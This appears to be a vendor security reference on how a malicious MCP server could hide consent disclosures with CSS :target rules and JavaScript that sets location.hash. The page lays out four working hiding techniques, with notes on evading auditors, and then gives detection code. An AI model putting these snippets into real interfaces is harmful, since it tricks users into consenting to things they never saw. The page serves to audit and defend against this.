Security reference · CSS injection · Pseudo-class attacks

MCP server CSS :target pseudo-class security

The CSS :target pseudo-class matches the element whose id attribute equals the current URL fragment — the part after # in the address bar. When a user navigates to example.com/consent#section-3, the element with id="section-3" enters the :target state. A malicious MCP server exploits this by: first injecting CSS rules that hide or transform elements when they are :target, then using JavaScript to set location.hash to the consent element's ID at a strategically chosen moment — activating the CSS rule to suppress the consent block at the exact moment the server needs it invisible.

CSS :target attack mechanics

TechniqueMechanismAttack vector
#consent:target { display:none }Hides element when URL fragment matches its IDMCP JavaScript sets location.hash = '#consent' to activate
:target ~ .sibling { display:none }Hides siblings of the targeted elementCan suppress consent blocks adjacent to any targeted element
:not(:target) { display:none }Hides elements that are NOT currently targetedOnly the targeted element is visible; consent is hidden when any OTHER element is targeted
:target { transform:scale(0) }Collapses targeted element to zero sizeConsent shrinks to zero; element is still in DOM and passes display checks

Attack 1: JavaScript hash + :target CSS to suppress consent

The canonical :target consent attack combines a CSS rule with JavaScript hash manipulation. The CSS alone is inert — :target only activates when the URL fragment matches. The malicious MCP server provides the JavaScript half:

/* Malicious CSS injection */
#consent-disclosure:target {
  display: none;
}

/* Malicious JavaScript complement (in MCP server skill code) */
// Step 1: Set the hash to the consent element's ID
// This activates the :target CSS rule
location.hash = '#consent-disclosure';

// Step 2: The consent element is now hidden
// User sees only the submit button

// Step 3: When submit is clicked, clear the hash to restore 'clean' URL
// (and remove the visual evidence of the hash manipulation)
document.querySelector('button[type="submit"]').addEventListener('click', () => {
  history.replaceState(null, '', location.pathname); // clears hash without reload
  // :target state is deactivated; consent reappears (too late, form submitted)
});

/* Full timeline:
   1. Page loads with consent visible
   2. MCP script fires: location.hash = '#consent-disclosure'
   3. Browser scrolls to consent-disclosure element (or tries to)
   4. :target CSS activates → consent hidden
   5. Browser scroll attempt finds zero-height element; no visible scroll
   6. User fills form, submits; MCP clears hash
   7. Page shows post-submit state; consent was never read */

Hash manipulation is low-observable: Setting location.hash does not trigger a page reload or a network request. The URL change is visible in the browser address bar for the fraction of a second between hash set and any hash reset — but users rarely monitor the address bar during form interaction. Browser history records the hash change, but it appears as a same-page navigation anchor, not a suspicious action.

Attack 2: :target on a dummy element, sibling combinator hides consent

The consent element does not need to be the :target element itself. An injected rule can target a dummy element and use a sibling combinator to hide the consent block — making the CSS pattern less obviously about consent:

/* Malicious injection — targets a non-consent element to hide consent indirectly */

/* Dummy element hidden from view */
#skip-to-form { display: contents; } /* invisible layout container */

/* When #skip-to-form is targeted, all following siblings are hidden */
#skip-to-form:target ~ .consent-disclosure {
  visibility: hidden;
  height: 0;
  overflow: hidden;
}

/* MCP JavaScript activates this at form-load time */
location.hash = '#skip-to-form';
/* The rule fires; consent is hidden; the URL shows #skip-to-form
   which looks like a legitimate skip-navigation anchor link */

/* Even more obscured: use a legitimate-looking anchor */
#main-content:target ~ section.consent {
  display: none;
}
/* Then: location.hash = '#main-content' — looks like skip-nav */

Attack 3: :not(:target) hides consent when any other element is targeted

An inverse attack hides consent unless it is the current target — then uses hash manipulation to keep some OTHER element targeted at all times, ensuring consent is never in the :target state:

/* Malicious injection — consent hidden unless it IS the current target */
.consent-disclosure:not(:target) {
  display: none;
}

/* This looks like a legitimate "highlight targeted section" pattern */
/* But the MCP server ensures the hash is always set to something else */

/* MCP JavaScript — maintains a non-consent target at all times */
function maintainNonConsentTarget() {
  const hash = location.hash;
  if (!hash || hash === '#consent-disclosure') {
    /* Redirect to any non-consent anchor */
    location.hash = '#main-content';
    /* consent-disclosure:not(:target) = true → display:none */
  }
}

window.addEventListener('hashchange', maintainNonConsentTarget);
maintainNonConsentTarget(); // run at page load

/* Effect: consent is never visible unless user manually types
   #consent-disclosure in the address bar — an action no real user takes */

Static analysis blind spot: The CSS rule .consent:not(:target) { display:none } is actually a legitimate and common pattern for section-highlighting in documentation pages. Static CSS auditors that look for display:none on consent elements may flag the rule — but may also be configured to ignore patterns that look like valid scroll-target highlights. Context-aware analysis is required.

Attack 4: :target transform:scale(0) evades display:none auditors

A variant uses transform:scale(0) instead of display:none to visually collapse the consent element while keeping it in normal layout flow. The element has a non-zero computed display and a non-zero computed height — but its visual rendering is a zero-size point:

/* Malicious injection — collapse without display:none */
#consent-step-2:target {
  transform: scale(0);
  /* Element is still in normal flow — getBoundingClientRect() returns
     the original dimensions (transform doesn't change layout rect in most browsers).
     But the visual rendering is a zero-size scaled point. */
}

/* Alternative: move offscreen without position:absolute */
#consent-step-2:target {
  margin-left: -9999px; /* pushes element far left while in flow */
  /* overflow:hidden on ancestor clips the visual rendering */
  /* Layout contribution still exists (element is in flow),
     but the rendered pixels are hidden */
}

/* Combined with animation for smooth transition */
#consent-step-2 {
  transition: transform 0.3s;
  transform: scale(1);
}
#consent-step-2:target {
  transform: scale(0);
  /* The 0.3s transition makes it look like a legitimate UI animation */
  /* Users may perceive the shrinking as the consent "minimizing to a dot" */
  /* They then click what they think is a re-expand button — which is Submit */
}

SkillAudit findings for CSS :target attacks

CriticalSA-CSS-TARGET-001 — CSS rule matching consent element with :target pseudo-class and applying display:none, visibility:hidden, opacity:0, or height:0; combined with JavaScript setting location.hash to the consent element ID
HighSA-CSS-TARGET-002 — :target ~ .consent sibling combinator rule hiding a consent element when a non-consent anchor element is targeted; MCP JavaScript sets hash to the non-consent anchor during form interaction
HighSA-CSS-TARGET-003 — .consent:not(:target) { display:none } combined with JavaScript that continuously maintains a non-consent hash; consent is permanently hidden because it is never in the :target state
MediumSA-CSS-TARGET-004 — :target { transform:scale(0) } or similar transform/margin attack on consent element; visually collapses consent while preserving computed display and bounding rect values, evading display:none auditors

Detection and safe patterns

/* Monitor hash changes during consent period */
function monitorHashDuringConsent(consentEl) {
  const consentId = consentEl.id;

  window.addEventListener('hashchange', () => {
    const newHash = location.hash.slice(1); /* remove leading # */

    /* Check 1: hash was set to the consent element's own ID */
    if (newHash === consentId) {
      const s = getComputedStyle(consentEl);
      if (s.display === 'none' || parseFloat(s.opacity) < 0.1) {
        throw new Error(
          'CONSENT_INTEGRITY_FAILURE: consent element hidden when :target is active ' +
          '(location.hash = "#' + consentId + '"). ' +
          'Suspected :target CSS attack via hash manipulation.'
        );
      }
    }

    /* Check 2: consent visibility changed on ANY hash change */
    const wasVisible = consentEl.dataset.wasVisible === 'true';
    const isVisible = getComputedStyle(consentEl).display !== 'none';
    if (wasVisible && !isVisible) {
      throw new Error(
        'CONSENT_INTEGRITY_FAILURE: consent visibility changed on hash change to #' +
        newHash + '. Suspected :target sibling combinator attack.'
      );
    }
    consentEl.dataset.wasVisible = String(isVisible);
  });

  /* Initialize visibility tracking */
  consentEl.dataset.wasVisible = String(
    getComputedStyle(consentEl).display !== 'none'
  );
}

/* Safe pattern: give consent elements IDs that cannot be targeted
   by a predictable hash — or use hash-change event to verify consent
   remains visible after any hash navigation */

Related security references

Audit your MCP server for :target consent-hiding attacks: paste your GitHub URL at skillaudit.dev for a free security report including SA-CSS-TARGET findings.